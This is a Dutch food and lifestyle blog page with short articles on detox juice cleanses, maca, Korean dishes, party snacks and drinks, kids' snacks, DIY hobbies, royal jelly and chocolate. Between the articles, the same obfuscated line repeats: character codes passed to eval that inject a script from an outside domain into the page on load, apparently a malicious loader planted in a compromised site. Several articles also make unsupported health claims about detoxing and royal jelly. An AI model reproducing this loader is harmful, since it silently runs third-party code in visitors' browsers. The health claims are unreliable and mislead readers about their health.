Categorie: Culinair

5 voordelen van detoxen

Deze 5 voordelen biedt een detox sapkuur jou
Ben jij benieuwd welke 5 voordelen een detox sapkuur je te bieden heeft? Een detox sapkuur is een speciale kuur om je lichaam te ontdoen van gifstoffen. Iedere dag krijgen we namelijk verschillende gifstoffen binnen. Je lichaam moet hard werken om deze allemaal te verwijderen. Een detox sapkuur kan je helpen deze afvalstoffen nog beter af te voeren en je lichaam geheel te reinigen. In dit artikel vertellen wij je wat de 5 voordelen van detoxen zijn. Lees snel verder en ontdek meer!

1. Je reset je lichaam geheel
Een detox kan jouw stofwisseling in balans brengen. Dit is ideaal als je bijvoorbeeld een trage stofwisseling ebt. Het kan ook zijn dat je voedingspatroon heel gestructureerd is en je veel snackt. Hierdoor kan je stofwisseling niet optimaal haar werk doen, waardoor deze trager werkt. Al wanneer je je gaat voorbereiden op de detox zal je je meer bewust worden van je eetgewoonten. Ook zal je meer structuur gaan aanbrengen in je eetmomenten tijdens de detox. Hierdoor wordt je lichaam als geheel gereset en zal je stofwisseling ook beter gaan werken. Met een detox maak je de ideale start aan een gezonder leven.

2. Je valt af
Een ander voordeel van een detox is dat je afvalt. Doe een detox kuur echter niet om alleen af te valle, maar juist om een extra steuntje in de rug te krijgen bij het verliezen van gewicht. Een sapkuur kan je helpen om in korte tijd meer kilo’s kwijt te raken. Wel is het belangrijk hierna een gezond dieet te hanteren, zodat je kilo’s er niet meteen weer aan zullen komen. Met een detox verander je je mindset. Hierdoor kun je ervoor zorgen dat je na de detox ook echt op een goed gewicht blijft. Met een 7 daagse sapkuur kun je meer kilo’s kwijtraken dan met een 3 daagse sapkuur. Een 7 daagse sapkuur kun je alleen doen als je al ervaring hebt met een detox sapkuur.

3. Je lichaam krijgt een bom aan vitaminen binnen
Nog zo’n mooi voordeel van detoxen is dat je lichaam in een keer een bom aan vitaminen binnen zal krijgen. Zo krijg je binnen enkele dagen diverse soorten groenten binnen. Al deze vitaminen en mineralen beïnvloeden je weerstand positief.  Een detox geeft jouw immuunsysteem namelijk een grote boost. Hierdoor wordt je minder snel ziek en voel je je veel energieker.

4. Je voelt je mentaal beter
Een detox kan je ook helpen om je mentaal beter te voelen. Je zal tijdens je detox gaan merken dat je veel energie hebt en veel meer gefocust kunt werken. Je krijgt minder calorieën binnen, waardoor je hersenen in een overlevingsstand raken. Hierdoor zullen ze zich meer gaan focussen, wat jouw werk ten goede komt. Bij een detox van 3 tot 7 dagen is dit prima te doen, maar detox niet langer dan 7 dagen. Anders wordt het wel ongezond.

5. Geen sugar cravings meer
Door een detox sapkuur te doen, zal je merken dat je geen last meer hebt van sugar cravings. Tijdens je detox neem je geen suikers tot je en kick je af van de suikers. Ben je een paar dagen met detoxen bezig, dan merk je dat je een andere food mindset krijgt. Je zal minder behoefte krijgen aan suikers en meer producten willen eten die goed zijn voor je lichaam. Een detox kan je helpen om net wat dichterbij een suikervrije en gezonde leefstijl te komen.


var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Ontdek de voordelen van superfood Maca

Je komt het steeds vaker tegen, de term superfoods. Dat klinkt spectaculair, maar het is natuurlijk niet zo duidelijk wat er precies mee wordt bedoeld. Eigenlijk is het een verzamelnaam voor voeding die veel vitamines, mineralen en andere stoffen bevatten die bijdragen aan een gezond en gevarieerd dieet. Bekende superfoods zijn bijvoorbeeld gojibessen, hennepzaad en donkere chocolade. Maar ook minder bekende voedingsstoffen vallen daaronder, zoals bijvoorbeeld Maca. 

Wat is Maca?

Maca is een plant die voornamelijk in Peru groeit. De plant is tweejarig en hoewel de plant zelf ook kruidachtig is, is vooral de wortel de reden dat deze plant bekend staat als superfood. Al meer dan tweeduizend jaar geleden gebruikten de Peruanen de plant om zijn geneeskrachtige werking. De wortel werd gekookt en gedroogd en uiteindelijk tot poeder vermalen. De kleur van dit poeder varieert van geel en rood tot zwart. De reden hiervan is dat de schil de kleur bepaalt, net als de hoeveelheid zetmeel die in de betreffende wortel zit. 

Wat maakt Maca een superfood?

Deze superfood staat erom bekend dat hij vitaminerijk is en bovendien ook veel antioxidanten bevat. Bovendien zitten er veel mineralen zoals ijzer in en ook calcium. Al deze zaken dragen bij aan je gezondheid, zoals een betere weerstand, de productie van rode bloedcellen en stevige botten. Heb je een verminderde weerstand, weinig energie of last van je menstruatie dan kun je er baat bij hebben als je Maca door je eten doet. Je kunt het poeder mengen met allerlei gerechten. Zoals bijvoorbeeld in je smoothie die je als ontbijt drinkt, je mengt het door de yoghurt of je gebruikt het in een frisse salade. Het is bovendien goed te combineren met andere superfoods. 

Kun je gevoelig zijn voor Maca?

Hoewel Maca omschreven wordt als een kruidachtige plant, is het eigenlijk familie van de aardappel en zijn er ook connecties met broccoli en bloemkool. De wortel is ook een soort knol en hij smaakt naar aardappel. Als je gevoelig bent voor groenten als bloemkool en spruitjes, kan het zijn dat je datzelfde ervaart bij Maca. Het is dus raadzaam in dat geval eerst een kleine hoeveelheid Maca door je eten te verwerken, zodat je zeker bent dat je er geen last van zult krijgen. Ook als je last hebt van een schildklieraandoening en bepaalde vormen van kanker of als je zwanger bent, is het verstandig om je huisarts te raadplegen voordat je Maca eet.

Maca als voedingssupplement

Wil je profiteren van Maca als superfood en ben je op zoek naar een gemakkelijke manier om dit aan je dagelijkse voeding toe te voegen? Kies dan voor Maca in de vorm van een voedingssupplement. Je neemt de Maca in de vorm van capsules in, zodat je zeker weet dat je ook de juiste dagelijkse hoeveelheid binnenkrijgt. Drie keer daags een capsule volstaat, bij capsules van 250 milligram. De capsules zijn, net als de Maca zelf, volledig geschikt voor een veganistisch dieet. Koop je het supplement als losse poeder, dan kun je dagelijks een theelepel aan je maaltijd toevoegen. Dankzij de zoete smaak is het een lekkere aanvulling en je profiteert van alle positieve eigenschappen.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Koreaanse gerechten die je moet proberen

Ogokbap, ook bekend als vijfkorrelige rijst, is een klassieke Zuid-Koreaanse rijstmaaltijd die normaal gesproken bestaat uit kleefrijst of gewone witte rijst gemaakt in een rijstkoker. Dit mix je samen met vier andere granen en bonen. Afhankelijk van de locatie worden verschillende granen en bonen gebruikt. De hoofdbestanddelen zijn normaal gesproken kleverige gierst en kleverige sorghum met rode bonen of zwarte bonen. Bij sommige soorten gebruik je sojabonen of zelfs kikkererwten. Dit gezonde rijstgerecht wordt van oudsher gekookt en geconsumeerd tijdens het oude Koreaanse festival dat bekend staat als Jeongwol Daeborum (Great Full Moon Festival). Het is ook al lang gebruikelijk om deze maaltijd met buren te delen. Mensen aten dit voedsel in de hoop dat het hun families overvloedige oogsten zou brengen, evenals geluk en gezondheid en een vreedzame manier van leven. Dit waren hun traditionele overtuigingen.

Bibimbap

Bibimbap is in feite gemengde rijst omdat de term “bibim” gemengd betekent en het woord “bap” gekookte rijst betekent. Een rauw ei wordt bovenop de stomende rijst geplaatst en gemengd met een verscheidenheid aan ingrediënten, waaronder gesneden rundvlees, namul, gochujang en sojasaus. Op dezelfde manier waarop veel andere nationale voedingsmiddelen uit noodzaak zijn gemaakt, is de bibimbap een van de meest bekende Koreaanse gerechten, naast bulgogi en Kimchi. De gewoonte om verschillende items met rijst te mengen in een kom of bibimbap is ontstaan als gevolg van de Koreaanse gewoonte om restjes van oudejaarsavond niet mee te nemen naar het nieuwe jaar.

Tteok

Traditionele Koreaanse rijstwafels, ook wel tteok genoemd, kunnen worden gemaakt van kleefrijst of niet-kleverige rijst. De cakes zijn zeer aanpasbaar ondanks dat ze over het algemeen zoet zijn en ook als dessert worden gegeten. Bepaalde basisvarianten kunnen worden gebruikt in hartige recepten. Rijst wordt vaak bereid door het te verhitten en te stampen of te kneden tot een flexibel deeg dat eventueel kan worden verbeterd met extra ingrediënten. Daarnaast kun je dit in verschillende vormen maken. Songpyeon en nog veel meer traditionele en hedendaagse variaties behoren tot de meest populaire tteok-varianten.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Trends voor minisnacks

Deze minisnacks zijn razend populair


Minisnacks zijn razend populair! Of je nu een borrel organiseert, samenkomt met vrienden en familie voor een verjaardag of gewoon lekker een avondje film kijkt met een groter gezelschap. Zit je met twee grote snacks al vol, dan zal je merken dat dit met minisnacks niet het geval is. Hier kun je namelijk meer van eten, waardoor je diverse soorten snacks kunt proberen. En stel dat je zelf een snackbar hebt, dan zijn minisnacks de ideale snacks als het gaat om upselling. Veel mensen willen maar wat graag minisnacks aan hun bestelling toevoegen om deze vervolgens samen met anderen te delen. Wij zochten uit wat de meest populaire minisnacks zijn en hebben ze voor je op een rij gezet. Lees snel verder voor meer informatie.


Bitterballen


Bitterballen zorgen ervoor dat een feest nog gezelliger wordt. Je kunt kiezen voor normale bitterballen, maar wat dacht je van vegetarische bitterballen? Dit is eens wat anders dan anders en je proeft het verschil praktisch niet. Geloof ons, er zijn zeker heerlijke vegan bitterballen te koop. Deze zijn net zo krokant en vrijwel niet van echt te onderscheiden. Bekijk eens welke (vegan)  bitterballen het beste getest zijn.


Bloemkool nuggets


Bloemkool nuggets zijn nieuw op het gebied van minisnacks, maar zeker het proberen waard! Bloemkool nuggets zijn namelijk erg lekker. Wij durven er haast vanuit te gaan dat je het met ons eens zal zijn als je ze eenmaal geproefd hebt. Bloemkool nuggets zijn nuggets op plantaardige basis. Ze beschikken over een crunchy korstje en zijn gevuld met vegan cheddar kaas, zachte bloemkool, chilipeper en paprika.


Vegan kipnuggets


Ook vegan kipnuggets zijn zeer populair. Vegan snacks maken nogal een opmars, omdat er geen dieren in de snacks verwerkt zijn. Dit is tevens het geval bij vegan kipnuggets. Deze kipnuggets zijn gemaakt van plantaardige eiwitten en tarwe. Ook zit er zwarte peper in. Het verschil met echte kipnuggets is echter nauwelijks te proeven. Probeer het ook eens, want ze zijn echt lekker!


Vlammetjes


En wat dacht je van lekkere vlammetjes? Deze gefrituurde snacks zijn enorm populair. Dit komt doordat ze vrij pikant zijn. Een vlammetje lijkt op een mini-loempia en heeft een krokant korstje. De binnenkant bevat een pikante gehaktvulling.


Mini frikandellen


Mini frikandellen zijn misschien wel het meest populair. Ben je dol op frikandellen, maar wil je ook andere snacks proeven, dan moet je zeker mini frikandellen kopen. Je hebt ze in een normale versie, maar tegenwoordig heb je ook mini vegan frikandellen. Ideaal als je eens geen vlees wilt snacken.


Mini kipvingers


Mini kipvingers zijn lekker krokant en hebben een heerlijke smaak. Dit komt door het krokante korstje om de kip heen. Je kunt kipvingers ideaal als borrelhapje eten, maar ook als tussendoortje opeten. Er zijn varianten die je kunt frituren, maar ook kipvingers die speciaal voor de airfryer geschikt zijn.


Mini kaassoufflés


Met mini kaassouffles maak je jouw filmavond pas echt compleet. Deze snacks zijn echt overheerlijk en gevuld met de lekkerste kaas. Ga voor merken die samenwerken met een bekend kaasmerk, zodat je de kwaliteit nog beter proeft. 

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

De lekkerste feestdranken op een rijtje

Geen feest is compleet zonder een paar heerlijke drankjes om iedereen in goede stemming te houden! Als je wat inspiratie zoekt voor je volgende feestje, bekijk dan onze lijst met de lekkerste feestdrankjes die er zijn. Van verfrissende cocktails tot overheerlijke wijnen, er is voor ieder wat wils. In deze blog zetten wij de lekkerste feestdranken voor je op een rijtje. Zo heb je voor jouw volgende feest weer wat inspiratie!

Cocktails

Voor degenen die hun drankjes graag aan de zoetere kant hebben, zullen vast heel blij worden van een goed gemixte cocktail. Probeer eens een klassieke Pina Colada of een Sex on the Beach. En als je een beetje avontuurlijk bent, waarom maak je dan geen partij DIY Sangria? Voeg gewoon je favoriete fruit en drank toe, en laat de goede tijden maar vloeien.

Radler

Als je op zoek bent naar iets meer verfijnd en fris, dan is een Radler is misschien wel iets voor jou. Deze Duitse import is een bier gemengd met koolzuurhoudende limonade, en het is de perfecte drank voor een warme zomerdag.

Wijn

Geen feest is compleet zonder wijn! De ene feestganger houdt van rood en de ander juist van wit, er zijn genoeg heerlijke opties om uit te kiezen. Maar het is best lastig om voor iedereen een lekkere wijn uit te kiezen. Wil je zeker weten dat je goed zit? Dan is het verstandig om een lichte rode wijn uit te zoeken, samen met een zoete en een droge witte wijn. Daarnaast kan je ook proberen om voor een fles Champagne of Prosecco te gaan. Serveer deze in mooie wijnglazen, want niks is lekkerder dan een heerlijke wijn uit een goed glas. Wil je jouw eigen mooie glazen niet gebruiken op een feestje? Dan bieden de plastic wijnglazen van Disposable Direct een mooie oplossing.

Speciaal bier

Voor de bierliefhebbers op het feestje is het ook leuk als er voor hen ook genoeg opties zijn om uit te kiezen. Zorg voor een paar verschillende soorten bier, van Grolsch of Heineken tot aan speciaal biertjes uit bijvoorbeeld België. Als je op zoek bent naar iets een beetje anders, probeer dan een ambachtelijk bier of een import. Voor wie zijn bier graag wat zoeter drinkt, is een fruitbiertje misschien net wat je zoekt. Een kersenbiertje is vaak een geliefde optie. Dit is ook perfect voor op een warme zomerdag.

Daarmee is onze lijst van de lekkerste feest drankjes rond. Of je nu op zoek bent naar iets verfrissends, geraffineerds, of gewoon iets heerlijks, er is zoveel om uit te kiezen. Dus zorg ervoor dat je je favoriete drankjes op voorraad hebt en maak je klaar om te feesten! Proost!

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Snack ideeën voor kinderen

Ben je op zoek naar heerlijke, gezonde snack ideeën om je kinderen gezond en blij te maken? Met een goede selectie snacks heeft je kind altijd iets gezonds en lekkers te eten, of het nu een broodje of een stuk komkommer is. Je hoeft niet veel geld uit te geven om ingrediënten voor zelfgemaakte snacks te kopen. Je kunt door de ah folder volgende week bladeren om aanbiedingen te vinden voor alle ingrediënten die je nodig hebt.

Broodjes met pindakaas of amandelboter

Gebruik voor dit broodje volkorenbrood. Dit is een geweldige manier om je kinderen meer vezels en voedingsstoffen te laten eten. Vervang pindakaas door notenboter zoals amandel- of cashewboter. Ze kunnen net zo romig zijn, maar met minder vet en minder calorieën. Gebruik jam in plaats van pindakaas of gebruik ze allebei. Jam bevat minder vet dan andere smeersels zoals pindakaas en geeft extra smaak en kleur waar kinderen blij van worden. Doe er plakjes banaan bovenop om nog wat meer smaak en vitamines toe te voegen. Je kunt op Allefolders.nl zoeken naar kortingen voor deze ingrediënten om geld te besparen..

Yoghurt parfait

Een yoghurt parfait is een heerlijk tussendoortje voor kinderen. Yoghurt is een goede bron van eiwitten en calcium. Het bevat probiotica die het spijsverteringsstelsel helpen goed te functioneren en het kan op smaak worden gebracht met honing of fruit om het aantrekkelijker te maken voor kinderen. Probeer geen suiker of kunstmatige zoetstoffen toe te voegen. Deze zijn in dit recept niet nodig en kunnen bij regelmatig gebruik zorgen voor gewichtstoename.

Guacamole met knapperige groenten of gezonde chips

Guacamole is een gezonde, lekkere snack die je zelf kunt maken of kant-en-klaar kunt kopen. Hoe dan ook, het is gemakkelijk te bereiden en geweldig voor kinderen. Je kunt guacamole serveren met tortillachips of rauwe groenten. Voeg voor de beste guacamole-ervaring stukjes rijpe avocado toe. Een ander heerlijk recept is komkommerhapjes met avocado. Hierbij snijd je dikke sneden van de komkommer en haal je het middenstuk eruit. Dit vul je op met een mix van guacamole, roomkaas en pijnboompitten. Dit zullen je kinderen zeker heerlijk vinden!

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

De leukste DIY’s op een vrije dag

In ons kikkerlandje vinden ieder seizoen wel druilerige dagen plaats. Deze momenten zijn een ultieme kans om je terug te trekken in je coconnetje en iets creatiefs te gaan doen. Wij hebben drie activiteiten voor je op een rijtje gezet die heerlijk zijn om binnen te doen. Zorg dat je alle materialen van tevoren in huis hebt, zodat je niet meer door de regen naar de winkel hoeft.

Bakken

Wie wordt er niet blij van de geur van versgebakken taart? Haal je oude kookboeken uit de kast, of speur internet af voor lekkere recepten. Onze favoriet? Blondies met witte chocolade en frambozen. Ben je meer een hartige eter? Dan is zelfgemaakte focaccia een echte aanrader! Een beloning voor je harde werk in de keuken was nog nooit zo zoet geweest. Mmm…

Schilderen

Wist je dat schilderen helemaal niet duur hoeft te zijn? Vooral als hobbyist of first-timer kun je makkelijk en voordelig aan de slag. Bij de grotere budget winkels vind je canvas en acrylverf voor een leuk prijsje. Zoek eventueel wat tutorials op op YouTube, of laat je eigen fantasie helemaal de vrije loop gaan. Niets is fout! Kunst gaat immers om expressie, niet om impressie.

Sieraden maken

Een andere leuke bezigheid met een mooi resultaat is het maken van je eigen sieraden. Alles wat je hiervoor nodig hebt, vind je bij kralen groothandel Betaalbarekralen. Je kunt hier terecht voor kralen, bedels, rijgmateriaal, onderdelen, tools en nog veel meer. Weet je niet zo goed waar je moet beginnen? Kijk dan eens bij het kopje ‘Inspiratie’. Hier staan bovendien alle producten beschreven die zijn gebruikt voor het maken van de inspiratie sets. Zo kun je makkelijk zelf aan de slag om jouw favoriete eyecatchers te maken. Weet jij al wat je gaat doen op je vrije dag?

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Koninginnegelei kopen in de honingwinkel

Koninginnegelei kopen in de honingwinkel

Koninginnegelei, ook wel Royal jelly, koninginnebrij of bijenmelk genoemd, is een honing die door de bijen die voeden worden gevoerd aan de babybijen zodat zij uiteindelijk koningin worden. Het is dus een machtige soort honing. Het is een geleiachtig product dat je kunt kopen bij de honingwinkel. De kleur van het product is geel- en witachtig. Het kan wat zuur smaken en kan daarnaast ook prikken als je het inneemt of opsmeert. Het is gemaakt door bijen en eigenlijk voor koninginnen dus het is erg uniek. Het kan genezend werken en kan ook stimuleren en vitaliseren. De bouwstoffen in dit product zijn sterk.

Hoe gebruik je koninginnegelei?

Koninginnegelei kan genezend werken. Je kunt het oraal innemen. Dan moet je de gelei met een lepeltje onder je tong leggen en het laten smelten. Dit kun je 1 of 2 keer doen. Het beste is om dit te doen een tijdje voor het ontbijt en dus in de ochtend. Als je graag verschil gaat merken, dan kun je het, het beste elke dag voor minstens drie weken volhouden. Dan ga je echt verschil merken. Het is een voedingssupplement en is dus een toevoeging aan je voeding en geen vervanger voor je voeding. Iedere volwassen kan het gebruiken.

Waar is koninginnegelei goed voor?

Koninginnegelei is een uniek en sterk product. Het wordt gevoerd aan toekomstige bijenkoninginnen dus dan kun je dat ook verwachten. Het kan helpen bij een breed scala aan dingen. Het is voornamelijk stimuleren, vitaliseren en genezend. Zo kan het helpen als je erg moe bent, als vitaminen mist in je lichaam, als je huidproblemen hebt, als je minder eetlust hebt of je gewicht ontregeld is of als je hulp wilt bij sporten en inspanning, zowel geestelijk als lichamelijk. Het kan dus helpen om dan 1 of 2 lepeltjes koninginnegelei onder je tong te laten smelten voordat je aan je dag en ontbijt begint.

var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Wat je moet weten over chocolade

Wat je moet weten over chocolade

Ooit begon het als een zeldzame en luxe drank, nu is het bijna overal verkrijgbaar; chocolade. Deze verslavende lekkernij is haast in elke supermarkt of pop-up shop verkrijgbaar. Je kunt ook chocolade online bestellen. De keuze is online vaak een stuk groter dan in de winkel. Je kunt het zo gek niet bedenken, de mogelijkheden zijn eindeloos.

Op Gust Royal kun je voor iedere gelegenheid chocolade bestellen. Van chocoladerepen tot chocolade koekjes en zelfs suikervrije chocolade die nét zo lekker smaakt, er is een breed assortiment te vinden op onze site. Ook voor chocoladegeschenken en cadeaus kun je bij Gust Royal terecht.

De geschiedenis van chocolade

De chocolade zoals wij die nu kennen, is ooit begonnen als een drank. Deze werd eeuwen geleden door de Azteken en de Maya’s gemaakt. Het product werd toen gezien als een echte delicatesse. Langzamerhand heeft de chocoladedrank, gemaakt van cacaobonen, zich verspreid over Europa en rond 1850 verscheen de eerste chocoladereep op de markt. De populariteit van chocola steeg snel en tegenwoordig is de lekkernij niet meer weg te denken voor velen.

De verschillende soorten

Chocolade is erin enorm veel diverse soorten. Natuurlijk begin je bij het uitkiezen van de basis. Hou je van melkchocola? Of heb je een voorkeur voor puur of wit? Op basis daarvan kan je kiezen voor eventuele vullingen en andere toevoegingen. De bekendste extra’s in chocolade zijn noten en fruit. Praline, karamel marsepein zijn enkele voorbeelden van vullingen.

Naast de bekende repen, is chocola ook verkrijgbaar in andere vormen waaronder ijs, koekjes en drank.

De chocolade van Gust Royal

Bij Gust Royal worden er verschillende smaken, vullingen, noten en fruit gecombineerd met een ambachtelijke basis van melkchocolade, pure chocolade of witte chocolade. Ons assortiment is gemaakt van de beste kwaliteit Belgische Callebaut chocolade, verkregen op een eerlijke en duurzame wijze. Voor ieder seizoen en elke gelegenheid kun je bij Gust Royal een bijpassend chocoladeproduct bestellen wat door ons een persoonlijk tintje heeft gekregen.

